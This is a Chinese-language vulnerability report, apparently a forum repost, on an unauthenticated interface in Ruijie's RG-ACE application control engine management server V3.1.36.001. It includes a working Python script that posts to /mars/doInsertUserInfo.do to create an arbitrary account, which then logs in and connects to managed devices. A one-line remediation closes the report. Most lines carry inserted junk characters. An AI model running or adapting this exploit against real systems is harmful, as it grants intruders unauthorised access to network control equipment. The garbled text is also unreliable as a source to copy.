锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)0 p. J, f. P9 U
3 d) R# O4 E* F7 [ g$ p7 q
4 O6 ?2 Y- O% c4 }- {1 ]测试的具体版本是
; u. k# N j7 ~- c1 ]产品名称: 锐捷应用控制引擎
' T8 C* o5 H0 j7 o0 b版本号: 3.1.36.001 TC
. V" w5 M+ W0 y6 r编译时间: 201104291730# X5 Y) G3 l( j' y3 d3 k2 r9 z
: ?# K" K4 n8 D
+ ?8 `& J d) f# T+ a3 M2 K u
漏洞证明:% g5 I) U3 n( C+ L
" V7 T0 h- t/ I- o" X. u
8 p- [; X+ R) D8 Q* x2 _5 F* `
: K( [: Q! K) w0 M5 t1 ]& k$ P
2 t& U& J8 n+ K1 X6 V+ X( K: H! x& h8 J' r G( l' |
$ W+ r" }3 K, R
执行脚本+ i* t+ N, G6 G4 c
#! /usr/bin/env python
1 Q0 ^3 F @# H w: Y0 H#coding=gbk
( \2 l2 G- Y# d+ C- A. a#RG-ACE管理服务器 V3.1.36.0012 ^- a' P1 u0 ~* D, _. ~3 z
import urllib2, urllib,cookielib, ~5 i+ b# }/ X
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP" d/ K7 l9 N0 r
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))- `( H- D5 X* ]1 c& h h9 }1 X
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]9 z \8 d. [6 P9 j3 @
post=(("event","userManager.doInsertUserInfo"),
D) x- j6 M4 N( g9 M3 l("useractionname","addButtonValue"),
# ^& D D2 `# R: C("useropermanager","userManager"),8 J9 j7 l6 U& W6 m F* E
("userName","t"), #######账号自己加+ O: Y2 p) s" S3 h4 t" [$ h5 [! P% S
("pwd","aaaaaa"),######密码自己加
# v- s( Q4 Q+ c) H3 G4 w5 y% x: L("trueName","ad"),
: J4 V* a* Y& ~+ U7 v("email",""),8 q: @5 l W& H$ O! V. O X: W* f
("mobilePhone",""),
" F7 F. N5 G! @4 S- g! a("officePhone",""),' H1 g: m% |! ], q: t7 C# O
("addr",""),. D1 ^3 R. J5 y8 o5 P* G
("submit","确定"))
: I8 @3 r2 Y+ }5 Wurllib2.install_opener(opener)
6 d( E/ h) ?9 I0 p5 d2 fp=urllib2.urlopen(url, urllib.urlencode(post)).read()! h! e" i A4 t2 @ }0 p' b( [. W
print "Done"4 F. e" T( I, W' s2 h
& q2 D3 D$ m+ T3 a9 @" X4 |; z" x登录,连接设备
( P- [# W- Y/ o: E8 s5 p
$ D2 B1 a5 \1 ]* R: {; d
7 b! J0 c9 L* `& L. d# o
; W( D. {; p& ?9 I9 O6 f) |
8 F" C* }0 C" @& }, ^9 W6 w
/ P& R' Q5 D# f0 b! w& r默认的管理员admin权限更大点0 g3 Y; ^8 S' X
0 G( u8 p; x7 W# R5 N. y0 T3 G6 I9 G& H+ I
! j* p. ~2 `1 e4 A( D
% @" ?; \9 r0 M/ G) M
3 {2 E6 ~( I' Z修复方案:% M- V3 q" T' O6 b" a' n) n
加强对接口的权限验证; z2 A I; b" M1 |$ V
: r+ p. m: N1 }/ R) j! e |